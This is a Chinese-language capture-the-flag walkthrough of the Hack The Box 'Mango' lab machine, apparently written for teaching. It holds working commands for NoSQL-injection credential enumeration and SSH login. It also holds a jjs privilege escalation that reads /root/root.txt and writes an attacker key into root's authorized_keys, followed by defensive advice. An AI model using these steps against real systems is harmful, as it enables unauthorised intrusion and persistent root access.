HTB: Mango渗透测试
字数 1211 2025-08-15 21:34:09
HTB: Mango渗透测试教学文档
1. 靶机概述
- 平台: Hack The Box (退役靶机)
- IP地址: 10.129.1.219 (原IP已变更)
- 操作系统: Ubuntu (基于OpenSSH版本判断)
- 难度: 中等
- 涉及技术: NoSQL注入、SSH利用、权限提升
2. 信息收集阶段
2.1 端口扫描
使用nmap进行扫描:
nmap -sV -A -O 10.129.1.219
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
2.2 Web服务分析
- 80端口: 登录界面
- 443端口: 类似Google的搜索界面,通过证书可获取额外信息
- 发现域名: staging-order.mango.htb
3. 漏洞利用阶段
3.1 NoSQL注入攻击
发现传统SQL注入无效,转而尝试NoSQL(MongoDB)注入
使用工具: Nosql-MongoDB-injection脚本
GitHub地址: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
枚举用户名:
python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login,submit:submit
枚举密码:
python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login,submit:submit
获取的凭证:
- 用户1:
- 用户名: admin
- 密码: t9KcS3>!0B#2
- 用户2:
- 用户名: mango
- 密码: h3mXK8RhU~f{]f5H
3.2 SSH登录尝试
使用获取的凭证尝试SSH登录:
ssh admin@10.129.1.219
ssh mango@10.129.1.219
成功登录后发现需要切换到admin用户才能查看user.txt:
su admin
4. 权限提升阶段
4.1 获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
4.2 系统枚举
使用LinEnum.sh脚本查找可利用的漏洞:
./LinEnum.sh
发现可利用jjs(Java JS解释器)进行提权
4.3 利用jjs提权
参考GTFOBins: https://gtfobins.github.io/
方法1: 直接读取root.txt
jjs
在jjs交互界面中输入:
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }
方法2: 通过SSH密钥提权
- 在攻击机生成SSH密钥:
ssh-keygen
- 创建jjs脚本写入公钥:
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("YOUR_PUBLIC_KEY_HERE");
fw.close();' | jjs
- 使用私钥SSH登录获取root权限:
ssh -i id_rsa root@10.129.1.219
5. 关键知识点总结
-
NoSQL注入: MongoDB等NoSQL数据库也可能存在注入漏洞,与传统SQL注入技术不同
-
凭证枚举: 通过自动化脚本可以枚举有效的用户名和密码组合
-
横向移动: 从一个用户(mango)切换到另一个用户(admin)获取更高权限
-
权限提升技术:
- 利用系统预装的Java JS解释器(jjs)进行提权
- 通过GTFOBins查找各种二进制文件的提权方法
- 两种jjs提权方法: 直接读取文件或写入SSH公钥
-
交互式shell获取: 在受限shell环境中使用Python获取完整功能的交互式shell
6. 防御建议
- 对NoSQL查询实施严格的输入验证
- 使用强密码策略,避免密码被枚举
- 限制系统上不必要的二进制文件执行权限
- 定期审计系统上的SUID/SGID文件和特殊权限
- 实施最小权限原则,限制用户权限
- 监控和限制敏感二进制文件(如jjs)的使用